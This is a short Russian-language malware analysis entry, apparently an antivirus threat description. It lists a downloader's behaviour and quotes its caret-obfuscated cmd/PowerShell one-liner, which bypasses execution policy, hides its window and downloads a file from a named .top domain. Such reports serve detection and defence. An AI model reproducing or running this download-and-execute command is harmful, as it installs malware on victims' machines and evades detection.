Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^WER^sHElL.^eX^e -^E^XECU^t^IO^n^POL^icY ^BYPASS -^nopRofI^lE -W^IN^Do^WS^Ty^le ^hIdD^EN (NE^W-OB^JEC^T s^Y^sTEm^.N^E^T.we^Bc^L^IE^Nt^).^dowNLO^adF^i^L^e('http://www.fapoerg...
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^WER^sHElL.^eX^e -^E^XECU^t^IO^n^POL^icY ^BYPASS -^nopRofI^lE -W^IN^Do^WS^Ty^le ^hIdD^EN (NE^W-OB^JEC^T s^Y^sTEm^.N^E^T.we^Bc^L^IE^Nt^).^dowNLO^adF^i^L^e('http://www.fapoerg...' (со скрытым окном)
